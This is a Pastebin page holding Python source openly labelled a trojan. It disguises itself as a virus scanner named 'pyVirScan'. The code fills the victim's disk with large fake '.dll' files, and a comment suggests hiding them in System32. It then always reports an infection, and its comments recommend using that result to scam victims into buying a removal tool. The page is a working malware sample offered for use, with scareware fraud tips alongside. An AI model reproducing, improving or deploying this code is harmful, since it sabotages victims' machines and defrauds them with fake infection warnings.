Pastebin launched a little side project called VERYVIRAL.com, check it out ;-) Want more features on Pastebin? Sign Up, it's FREE!
Guest

Trojan source code - python

By: hackersock on Jan 2nd, 2012  |  syntax: Python  |  size: 2.71 KB  |  views: 3,483  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. #tokzikate's trojan
  2. import win32file
  3. import os
  4.  
  5. def get_drivestats():
  6.     #This retrieves the amount of free space on the drive in bytes
  7.     drive = os.path.splitdrive(os.getcwd())[0].rstrip(':')
  8.     sectPerCluster, bytesPerSector, freeClusters, totalClusters = \
  9.         win32file.GetDiskFreeSpace(drive + ":\\")
  10.     free_space = freeClusters*sectPerCluster*bytesPerSector
  11.     return free_space, drive
  12. print ("-"*40)
  13. print ("-" + " " * 9 + "Welcome to pyVirScan" + " " * 9 + "-")
  14. print ("-" + " " * 2 + "A Virus Scanner written in Python!" + " " * 2 + "-")
  15. print ("-" + " " * 13 + "Version 1.00" + " " * 13 + "-")
  16. print ("-"*40)
  17. print ("Be patient, you will be notified when the scan is complete")
  18. #print ("Current Progress: 0.01%")
  19.  
  20. free_space, drive = get_drivestats()
  21.  
  22. #Convert free_space to kb and store in a variable
  23. kb = float(1024)
  24. kbFree = free_space / kb
  25.  
  26. #Find the amount of files you need to create to *almost* fill the drive
  27. fillWithFloat = kbFree / 409600
  28.  
  29. #convert the amount of files needed to create from a
  30. fillWithInt = int(round(fillWithFloat))
  31. loopNum = 1
  32.  
  33.  
  34.  
  35. for y in range(fillWithInt):
  36.     block = '0' * 409600
  37.     #This saves the files to the current directory, but change it so that it changes it to System 32, so the victim can't find the file they are trying to delete!
  38.     bigFile = file("sysscanresults" + str(loopNum) + ".dll", 'wb')
  39.     for x in range(1000):
  40.         bigFile.write(block)
  41.     bigFile.close()
  42.         #Didn't finish writing the percent complete function, you can uncomment and fix the lines of code if you want
  43.     #percentComplete = loopNum * fillWithInt / 100
  44.     #print ("Current Progress: " + str(percentComplete) + "%")
  45.     loopNum += 1
  46.  
  47. #I don't know why I did this...
  48. #Maybe so that you can give the source to someone who doesn't know python
  49. #and get them to run it! so it looks more legitimate... mwahaha
  50. if 1 == 1:
  51.     virus = 1
  52. if 1 != 1:
  53.     virus = 0
  54.  
  55. print ("-"*40)
  56. print (" " * 12 + "Scan Completed!")
  57. print (" -"*20)
  58. print ("Results:")
  59. if virus == 1:
  60.     #This will always be true, unless the source is edited
  61.     #For scamming purposes you could tell them to buy a virus
  62.     #removal tool or something of the like.
  63.     print("The results were positive, your computer is infected.")
  64.    
  65.     #Yet to add the text file creation
  66.     #print("To see the full list of results, navigate to C:\\results.txt")
  67.     #print("In the text file you will see:")
  68.     #print ("1) What you are infected by.")
  69.     #print ("2) Details of each infection.")
  70.     #print ("3) What you can do to remove the virus'.")
  71.  
  72. if virus == 0:
  73.     print("Your computer is clean!")
  74.  
  75.  
  76. print ("Thankyou for using pyVirScan")
  77. print ("-"*40)
  78. exit = raw_input("Press <enter> to exit...")